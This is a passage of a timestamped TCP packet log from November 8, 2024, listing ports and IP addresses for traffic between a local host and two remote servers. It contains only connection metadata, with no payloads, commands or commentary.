Nov 8, 2024 15:21:31.927894115 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.927902937 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.927906036 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.927917004 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.927925110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.927930117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.927941084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.927951097 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.927954912 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.927975893 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.927993059 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.928538084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928550005 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928560972 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928574085 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928586006 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928590059 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.928597927 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928611040 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928621054 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928625107 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.928633928 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.928651094 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.928672075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928690910 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928702116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928733110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.928962946 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928980112 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.928992987 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929003954 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929006100 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929037094 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929202080 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929214001 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929224968 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929239035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929254055 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929265022 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929294109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929471016 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929481983 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929492950 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929503918 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929517031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929526091 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929527998 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929542065 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929553986 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929558039 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929565907 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929570913 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929594994 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929605961 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929616928 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929621935 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929629087 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929646015 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929653883 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929683924 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929856062 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929867983 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929879904 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.929904938 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.929922104 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930017948 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930027962 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930058002 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930071115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930083990 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930095911 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930108070 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930121899 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930124044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930131912 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930136919 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930151939 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930151939 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930162907 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930191994 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930615902 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930676937 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930689096 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930701017 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930712938 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930721998 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930757999 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930787086 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930799007 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930809975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930820942 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930826902 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930833101 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930845976 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.930846930 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930872917 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.930900097 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931056976 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931068897 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931081057 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931092978 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931099892 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931103945 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931113958 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931114912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931128025 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931142092 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931148052 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931153059 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931166887 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931194067 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931533098 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931545019 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931557894 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931569099 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931571007 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931581974 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931592941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931602955 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931605101 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931617975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.931636095 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.931648970 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.960969925 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.960990906 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961003065 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961026907 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961067915 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961201906 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961214066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961225033 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961237907 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961251020 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961252928 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961271048 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961297989 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961626053 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961678982 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961791992 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961823940 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961834908 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.961839914 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.961873055 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.966803074 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:31.966892004 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:31.967019081 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:31.969623089 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:31.969695091 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:31.969748020 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:32.009881973 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.009905100 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.009913921 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.009939909 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.009968996 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.009991884 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.010044098 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048261881 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048285007 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048295975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048346996 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048362970 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048444986 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048461914 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048474073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048486948 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048506021 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048530102 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048690081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048702002 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048712969 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048723936 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048729897 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048751116 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048763037 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048775911 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048775911 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048787117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048798084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048801899 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048810959 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.048820019 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.048846960 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049370050 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049381018 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049393892 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049407005 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049420118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049423933 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049432039 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049444914 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049454927 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049457073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049468994 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049470901 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049482107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049488068 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049494982 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049504995 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049519062 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.049520969 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049535036 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.049554110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050048113 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050059080 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050077915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050090075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050102949 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050103903 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050115108 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050121069 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050126076 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050134897 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050137043 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050148964 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050160885 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050162077 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050195932 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050512075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050523043 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050544977 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050556898 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050570011 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050580025 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.050580978 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050597906 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.050626993 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051090002 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051101923 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051112890 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051126957 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051139116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051146984 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051173925 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051183939 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051285982 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051297903 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051309109 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051327944 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051340103 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051342010 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051350117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051353931 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051374912 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051395893 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051758051 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051769018 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051780939 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.051809072 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.051831961 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.056930065 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.056948900 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.056958914 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057003021 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057043076 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057053089 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057065964 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057080030 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057109118 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057117939 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057162046 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057301044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057312012 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057322979 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057334900 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057346106 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057347059 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057358980 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057374001 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057379007 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057385921 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057391882 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057403088 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057415009 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057415009 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057426929 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.057437897 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057452917 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.057480097 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058049917 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058060884 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058070898 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058082104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058094025 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058101892 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058104992 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058116913 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058125973 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058129072 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058140993 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058146000 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058151960 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058165073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058166027 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058176041 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058181047 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058188915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058203936 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058207989 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058219910 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058231115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058233976 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058255911 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058281898 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058440924 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058453083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058465004 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058476925 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058482885 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058490038 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058505058 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058546066 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058558941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058571100 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058582067 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058593988 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058593988 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058607101 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058619022 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058624029 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058629990 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058641911 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058653116 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058654070 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058665991 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058670044 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058679104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.058705091 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.058728933 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.085171938 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085194111 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085206032 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085227966 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.085241079 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.085253000 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085264921 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085277081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085289001 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085294962 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.085308075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.085319996 CET	49840	80	192.168.2.8	185.215.113.16
